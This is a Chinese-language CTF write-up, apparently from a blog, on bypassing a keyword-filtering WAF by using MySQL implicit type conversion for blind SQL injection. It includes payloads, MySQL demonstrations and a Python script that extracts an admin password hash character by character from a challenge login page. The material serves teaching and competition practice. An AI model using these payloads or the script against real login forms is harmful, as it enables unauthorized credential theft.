mysql 注入关键字waf_利用mysql的隐式类型转换绕过waf注入

本文介绍了如何通过MySQL的隐式类型转换特性来绕过WAF进行SQL注入。在CTF比赛中,面对过滤了特定关键字的WAF,作者通过测试发现可以利用字符串到数字的转换进行逻辑判断。通过构造特定的payload,如`uname='-(length(passwd)=passwd的长度)-'&passwd=123456`,成功判断出数据库中passwd字段的长度和值,最终解密出密码。
摘要由CSDN通过智能技术生成

今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)

HINT:我都过滤了,看你怎么绕。记住是mysql

打开后看到是一个登陆框

54867e3c9fefebb9fcf410d0c33a0645.png

结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字#、,、union、--+、and、or、|、%26(&的url编码)简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如mysql> select '45abcd'-'abc';

+----------------+

| '45abcd'-'abc' |

+----------------+

| 45 |

+----------------+

1 row in set, 2 warnings (0.02 sec)在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0

再看mysql> select 'aaa'=0;

+---------+

| 'aaa'=0 |

+---------+

| 1 |

+---------+

1 row in set, 1 warning (0.00 sec)在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句mysql> select * from users where username=0;

+----+----------+------------+

| id | username | password |

+----+----------+------------+

| 1 | Dumb | Dumb |

| 2 | Angelina | I-kill-you |

| 3 | Dummy | p@ssword |

| 4 | secure | crappy |

| 5 | stupid | stupidity |

| 6 | superman | genious |

| 7 | batman | mob!le |

| 8 | admin | admin |

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 | dhakkan | dumbo |

| 14 | admin4 | admin4 |

+----+----------+------------+

13 rows in set (0.00 sec)可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看mysql> select * from users where username=''-'';

+----+----------+------------+

| id | username | password |

+----+----------+------------+

| 1 | Dumb | Dumb |

| 2 | Angelina | I-kill-you |

| 3 | Dummy | p@ssword |

| 4 | secure | crappy |

| 5 | stupid | stupidity |

| 6 | superman | genious |

| 7 | batman | mob!le |

| 8 | admin | admin |

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 | dhakkan | dumbo |

| 14 | admin4 | admin4 |

+----+----------+------------+

13 rows in set (0.00 sec)可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空mysql> select * from users where username=''-'';

Empty set (0.00 sec)由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:

uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error

8fe02170f903f69632d5de12f2ed85f7.png

构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误

10eff93218bb73e696afbb29a7281ce4.png

按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度uname='-(length(passwd)=passwd的长度)-'&passwd=123456当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error

5cfa96ca6456bdf1e62e6e84e63604d1.png

f57d0eca7aba36cd7f5a7679f73005f1.png

通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码import requests

url="http://118.190.152.202:8019/login.php"

passwd=""

for i in range(1,33):

for j in range(1,256):

data={

'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),

'passwd':'admin'

}

html=requests.post(url,data=data).content

if "username error!!" in html:

passwd=passwd+chr(j)

print passwd

break为了更好的理解脚本,可以看看以下我测试时写的查询语句mysql> select mid((password)from(1)) from users;

+------------------------+

| mid((password)from(1)) |

+------------------------+

| Dumb |

| I-kill-you |

| p@ssword |

| crappy |

| stupidity |

| genious |

| mob!le |

| admin |

| admin1 |

| admin2 |

| admin3 |

| dumbo |

| admin4 |

+------------------------+

13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;

+------------------------+

| mid((password)from(2)) |

+------------------------+

| umb |

| -kill-you |

| @ssword |

| rappy |

| tupidity |

| enious |

| ob!le |

| dmin |

| dmin1 |

| dmin2 |

| dmin3 |

| umbo |

| dmin4 |

+------------------------+

13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;

+-------------------------------+

| ascii(mid((password)from(1))) |

+-------------------------------+

| 68 |

| 73 |

| 112 |

| 99 |

| 115 |

| 103 |

| 109 |

| 97 |

| 97 |

| 97 |

| 97 |

| 100 |

| 97 |

+-------------------------------+

13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;

+-------------------------------+

| ascii(mid((password)from(2))) |

+-------------------------------+

| 117 |

| 45 |

| 64 |

| 114 |

| 116 |

| 101 |

| 111 |

| 100 |

| 100 |

| 100 |

| 100 |

| 117 |

| 100 |

+-------------------------------+

13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';

+----+----------+------------+

| id | username | password |

+----+----------+------------+

| 2 | Angelina | I-kill-you |

| 3 | Dummy | p@ssword |

| 4 | secure | crappy |

| 5 | stupid | stupidity |

| 6 | superman | genious |

| 7 | batman | mob!le |

| 8 | admin | admin |

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 14 | admin4 | admin4 |

+----+----------+------------+

11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';

+----+----------+------------+

| id | username | password |

+----+----------+------------+

| 1 | Dumb | Dumb |

| 2 | Angelina | I-kill-you |

| 3 | Dummy | p@ssword |

| 4 | secure | crappy |

| 5 | stupid | stupidity |

| 6 | superman | genious |

| 7 | batman | mob!le |

| 8 | admin | admin |

| 9 | admin1 | admin1 |

| 10 | admin2 | admin2 |

| 11 | admin3 | admin3 |

| 12 | dhakkan | dumbo |

| 14 | admin4 | admin4 |

+----+----------+------------+

13 rows in set, 26 warnings (0.00 sec)最后跑出密码

b54edb1d08d3b6b842f735c21a0ff1b9.png

MD5在线解密一下

8c94618720e8780bfc447dcd3db0b7df.png

nishishabi1438用户名admin,密码nishishabi1438,登陆成功

a9b359efdeafa2b336f67e49b19d8b37.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
限时福利1:购课进答疑群专享柳峰(刘运强)老师答疑服务 为什么需要掌握高性能的MySQL实战? 由于互联网产品用户量大、高并发请求场景多,因此对MySQL的性能、可用性、扩展性都提出了很高的要求。使用MySQL解决大量数据以及高并发请求已经是程序员的必备技能,也是衡量一个程序员能力和薪资的标准之一。 为了让大家快速系统了解高性能MySQL核心知识全貌,我为你总结了「高性能 MySQL 知识框架图」,帮你梳理学习重点,建议收藏! 【课程设计】 课程分为四大篇章,将为你建立完整的 MySQL 知识体系,同时将重点讲解 MySQL 底层运行原理、数据库的性能调优、高并发、海量业务处理、面试解析等。 一、性能优化篇: 主要包括经典 MySQL 问题剖析、索引底层原理和事务与锁机制。通过深入理解 MySQL 的索引结构 B+Tree ,学员能够从根本上弄懂为什么有些 SQL 走索引、有些不走索引,从而彻底掌握索引的使用和优化技巧,能够避开很多实战中遇到的“坑”。 二、MySQL 8.0新特性篇: 主要包括窗口函数和通用表表达式。企业中的许多报表统计需求,如果不采用窗口函数,用普通的 SQL 语句是很难实现的。 三、高性能架构篇: 主要包括主从复制和读写分离。在企业的生产环境中,很少采用单台MySQL节点的情况,因为一旦单个节点发生故障,整个系统都不可用,后果往往不堪设想,因此掌握高可用架构的实现是非常有必要的。 四、面试篇: 程序员获得工作的第一步,就是高效的准备面试,面试篇主要从知识点回顾总结的角度出发,结合程序员面试高频MySQL问题精讲精练,帮助程序员吊打面试官,获得心仪的工作机会。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值